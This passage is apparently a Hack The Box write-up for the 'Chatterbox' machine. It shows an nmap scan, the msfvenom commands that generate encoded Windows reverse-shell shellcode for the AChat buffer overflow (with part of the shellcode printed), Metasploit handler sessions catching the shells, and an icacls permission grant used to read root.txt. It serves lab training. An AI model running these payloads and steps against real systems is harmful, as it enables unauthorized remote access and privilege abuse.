to speed. root@dastinia:~/htb/chatterbox# nmap -T2 --max-retries 5 -sV -sC -p9255,9256 10.10.10.74 -oA chatterbox_p9255-9256_sc Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-22 22:34 EDT Nmap scan report for 10.10.10.74 Host is up (0.16s latency). PORT STATE SERVICE VERSION 9255/tcp open http AChat chat system httpd |_http-server-header: AChat |_http-title: Site doesn't have a title. 9256/tcp open achat AChat chat system Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 22.60 seconds Enumerating Port 9255 (AChat Chat System httpd) If you complete some research on “AChat” you discover a few CVE for the application, including a buffer overflow exploit for AChat version 0.150 beta7, which you can find on searchsploit/exploit-db. After some quick googling, and looking at the AChat project’s sourceforge page you will discover that the last version of Achat to be released was AChat 0.150 beta7. So there’s a pretty high chance that this is version of the software running on Chatterbox. Modifying Exploit ShellCode &amp;amp; Testing Locally One of the first things I pay attention to is the architecture of the machine that this exploit was tested or developed for (in this case Windows 7 32bit),and what the POC exploit code is executing when it triggers. Usually the exploit developer will let you know what versions of “x” the following was tested as working on. For this exploit, the exploit developer generated shellcode to execute the calculator program when the exploit triggers. This is pretty useless to us, so we are going to drop-in-replace the exac/calc shellcode for simple reverse shell payload and go from there. I downloaded a copy of the vulnerable AChat program, and ran it on a 64-bit Windows 7 virtual machine. generating windows reverse shell shellcode with msfvenom root@dastinia:~/htb/chatterbox# msfvenom -a x86 --platform Windows -p windows/shell/reverse_tcp LHOST=192.168.30.130 LPORT=8282 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/unicode_mixed x86/unicode_mixed succeeded with size 808 (iteration=0) x86/unicode_mixed chosen with final size 808 Payload size: 808 bytes Final size of python file: 3872 bytes buf = &quot;&quot; buf += &quot;\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49&quot; buf += &quot;\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41&quot; buf += &quot;\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41&quot; buf += &quot;\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51&quot; buf += &quot;\x41\x49\x41\x51\x41\x49\x41\x68\x41\x41\x41\x5a\x31&quot; buf += &quot;\x41\x49\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41&quot; buf += &quot;\x42\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49\x41&quot; buf += &quot;\x49\x51\x49\x31\x31\x31\x41\x49\x41\x4a\x51\x59\x41&quot; buf += &quot;\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x6b\x4d\x41&quot; buf += &quot;\x47\x42\x39\x75\x34\x4a\x42\x4b\x4c\x69\x58\x32\x62&quot; buf += &quot;\x49\x70\x39\x70\x6d\x30\x4f\x70\x62\x69\x48\x65\x30&quot; buf += &quot;\x31\x79\x30\x71\x54\x64\x4b\x52\x30\x6c\x70\x42\x6b&quot; ...Snip.... After executing the modified exploit… msf exploit(multi/handler) &amp;gt; set PAYLOAD windows/shell/reverse_tcp PAYLOAD =&amp;gt; windows/shell/reverse_tcp msf exploit(multi/handler) &amp;gt; set LHOST 192.168.30.130 LHOST =&amp;gt; 192.168.30.130 msf exploit(multi/handler) &amp;gt; set LPORT 8282 LPORT =&amp;gt; 8282 msf exploit(multi/handler) &amp;gt; exploit -j -z [*] Exploit running as background job 1. [*] Started reverse TCP handler on 192.168.30.130:8282 [*] Command shell session 2 opened (192.168.30.130:8282 -&amp;gt; 192.168.30.141:49389) at 2018-05-26 16:44:36 -0400 msf exploit(multi/handler) &amp;gt; sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell x86/windows Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation... 192.168.30.130:8282 -&amp;gt; 192.168.30.141:49388 (192.168.30.141) 2 shell x86/windows 192.168.30.130:8282 -&amp;gt; 192.168.30.141:49389 (192.168.30.141) msf exploit(multi/handler) &amp;gt; sessions -i 2 [*] Starting interaction with 2... Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32&amp;gt;whoami win-ecc1ucer094\medic Now we know that the exploit works &amp;amp; we can successfully get a shell. It may seem like overkill, but I feel like it’s good to understand what a potentially unknown exploit is doing on a local machine before you try exploiting something remotely. It will save tons of time trying to debug why x or y isn’t working, or in determining if the machine simply needs a reset because the service crashed, or there’s other strangeness taking place. Getting Shell/Root.txt So we know the exploit works, so let’s modify our msfvenom command to give us a reverse shell for our HTB IP. root@dastinia:~# msfvenom -a x86 --platform Windows -p windows/shell/reverse_tcp LHOST=10.10.15.226 LPORT=8282 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python after executing the modified exploit… msf &amp;gt; use exploit/multi/handler msf exploit(multi/handler) &amp;gt; set PAYLOAD windows/shell/reverse_tcp PAYLOAD =&amp;gt; windows/shell/reverse_tcp msf exploit(multi/handler) &amp;gt; set LHOST tun0 LHOST =&amp;gt; tun0 msf exploit(multi/handler) &amp;gt; set LPORT 8282 LPORT =&amp;gt; 8282 msf exploit(multi/handler) &amp;gt; set ExitOnSession False ExitOnSession =&amp;gt; false msf exploit(multi/handler) &amp;gt; exploit -j -z [*] Exploit running as background job 0. [*] Started reverse TCP handler on 10.10.15.226:8282 msf exploit(multi/handler) &amp;gt; [*] Encoded stage with x86/shikata_ga_nai [*] Sending encoded stage (267 bytes) to 10.10.10.74 [*] Command shell session 1 opened (10.10.15.226:8282 -&amp;gt; 10.10.10.74:49178) at 2018-06-14 21:55:43 -0400 msf exploit(multi/handler) &amp;gt; sessions -i 1 [*] Starting interaction with 1... Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32&amp;gt;whoami chatterbox\alfred C:\Users\Alfred\Desktop&amp;gt;type user.txt [redacted] There seemed to be a file permissions misconfiguration on the local administrators folder, and the root.txt file. I assumed this was the method we were supposed to take to get the root.txt flag. root.txt is owned by Alfred so we can use icacls to give full permissions on the root.txt file so we can read it. getting root.txt by using icalcs to grant full permissions on the file C:\Users\Administrator\Desktop&amp;gt;dir /Q Volume in drive C has no label. Volume Serial Number is 9034-6528 Directory of C:\Users\Administrator\Desktop 12/10/2017 07:50 PM &amp;lt;DIR&amp;gt; BUILTIN\Administrators . 12/10/2017 07:50 PM &amp;lt;DIR&amp;gt; NT AUTHORITY\SYSTEM .. 12/10/2017 07:50 PM 32 CHATTERBOX\Alfred root.txt 1 File(s) 32 bytes 2 Dir(s) 17,758,883,840 bytes free C:\Users\Administrator\Desktop&amp;gt;icacls.exe root.txt /grant CHATTERBOX\Alfred:F processed file: root.txt Successfully processed 1 files; Failed processing 0 files C:\Users\Administrator\Desktop&amp;gt;type root.txt [redacted]</summary></entry></feed>